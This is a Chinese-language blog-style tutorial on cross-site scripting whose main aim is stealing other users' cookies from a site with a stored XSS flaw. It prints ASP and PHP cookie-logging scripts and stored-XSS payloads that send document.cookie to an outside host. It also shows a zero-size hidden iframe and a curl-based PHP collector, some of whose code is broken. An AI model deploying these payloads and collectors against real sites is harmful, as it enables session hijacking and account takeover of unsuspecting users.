0x04 操作问题与解决方案

0x05 结束 

--------------------------------------------------------------------

0x01 : XSS (Cross Site Scripting)是指恶意攻击者往Web页面里插入恶意(不一定都是恶意滴比如Test)html代码,当用户浏览该页之时,嵌入其中Web里面的html代码就可能会被触发,从而达到插入者的特殊目的。

XSS攻击分成两类,

一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句

另一类则是来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。XSS和SQL注入防御一样,XSS攻击也是利用了Web页面的编写疏忽,所以还有一种方法就是从Web应用开发的角度来避免。

0x02 :现在碰到过XSS反射 XSS入库

XSS反射型也称非持久型,是指我们通过URL构造插入自己的代码

for ex: ?name=<script>alert('XSS')</script>

这种方式自行构造不保存 需要将自己构造的链接等待某些人去触发。

XSS入库型也称持久型,持久呀,持久。。。

for ex: 在一些网站的注册用户的个人信息处可能会出现。或者某个Text框框。。。。

-----------------------------------

常用代码

<script>alert(document.cookie)</script>
<script>alert('C')</script>

<IMG src=javascript:alert('C')>

------------------------------------

最近想要了解一下。测试了一下,终于算成功执行了。

-------------------------------------

XSS的高级应用很多,不才,了解甚微。我举例说明的比较简单,就是获取cookie。

---------------------------------------

0x03:

网站A  //有着持久XSS滴 不可控 

网站B  //自己存放获取cookies脚本滴  可控

网上资料很多 但是大多都是你转载我 我转载他。 更可恶的是转载的途中可能网站的限制等问题 转义 字符替换 乱码 等

导致脚本不能正常运行,也不给个原文出处,还可耻的装原创。

网上可见的比较简单的获取页面分 ASP PHP两种脚本 已经足够

ASP版本

<%
msg=Request.ServerVariables("QUERY_STRING")    
testfile=Server.MapPath("cook.txt")    
set fs=server.CreateObject("scripting.filesystemobject")    
set thisfile=fs.OpenTextFile(testfile,8,True,0)    
thisfile.Writeline(""&msg& "")    
thisfile.close    
set fs = nothing    
%>


PHP版代码:
<?php 
$cookie = $_GET['c']; 
$ip = getenv ('REMOTE_ADDR'); 
$time=date("j F, Y, g:i a"); 
$referer=getenv ('HTTP_REFERER'); 
$fp = fopen('cook.txt', 'a'); 
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$time. '<br> Referer: '.$referer.'<br><br><br>'); 
fclose($fp); 
?>

大多都这种 将其保存成 1.php 然后保存到自己的空间去

然后在 入库XSS处 填写 

<script>document.location=" www.2cto.com /1.php?c="+document.cookie;</script>

<script>document.location="?msg="+document.cookie;</script>

 

虽然过滤不严格导致了各种形式的XSS 但是 可能因为 文本框的长度问题不能输入这么长 或者禁用过滤掉了<script></script>标签

0x04

测试一下发现如果 长度超标则会出现不能入库的情况 自然 就没有XSS了

如果使用一个HTM 或者HTML 文件

则获取到的cookies 则是 的 而不在是A了 因为它先从A达了B又在B上获取的cookies

1) 2)跨站 3)1.html---> 4)获取到了B的cookies

显然这样失去了我们要去获取A的cookies的初衷和意义了,因为至少B是自己可控的,A是想要去可控的。

我想到了可以使用只有一个php页面 没有参数 也不需要跟随 document.cookie 来获取 。因为自己不懂 php所以就结合着网上的代码自己修改了一份可以直接获取的,参数名称什么的可能起的不是很标准。

像ASP ASPX JSP prel python 啥的 我就更不懂了。欢迎大家指正或者提供一个更高效率的脚本。

 <?php
$ch = curl_init(); 
$ip = getenv ('REMOTE_ADDR'); 
$time = date("Y-m-d G:i:s A");
$referer = $_SERVER['HTTP_REFERER'];
$agent = $_SERVER['HTTP_USER_AGENT'];
curl_setopt($ch,CURLOPT_URL,'');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER,1);
curl_setopt($ch, CURLOPT_NOBODY, false);
time()+94608000;     //这里是说cookies 3年内不失效,不过这样我不知道是否还有意义
$rs = curl_exec($ch);
preg_match_all('/Set-Cookie: (.+)=(.+)$/m', $rs, $regs);
foreach($regs[1] as $i=>$k)
$fp = fopen('C.html', 'a'); 
fwrite($fp, 'k: '.$k.'<br> IP: ' .$ip. '<br> Date and Time: ' .$time. '<br> Referer: '.$referer.'<br>agent: '.$agent.'<br><br><br>'); 
fclose($fp); 
curl_close($ch);
?>

然后使用<iframe></iframe>标签 

<iframe src="";/> // 如果条件成熟 文本框长度限制不严格的话可以调整框架大小

<iframe src=http://www.b.com/1.php width=0 height=0></iframe> 否则总是会出现一个 巴掌大的操蛋小框框。。。。

<script>document.location="?c="+document.cookie;</script>

这样使用<iframe>标签相对使用 <script> 标签 带参数调用获取cookies 就要简短很多。很且获取的准确性也高了很多。

当然还是需要根据眼下的实际情况定夺,不一定可以使用<iframe> 或者是 在页面中限制了<iframe>得使用范围等等。。。

----------------

获取结果现实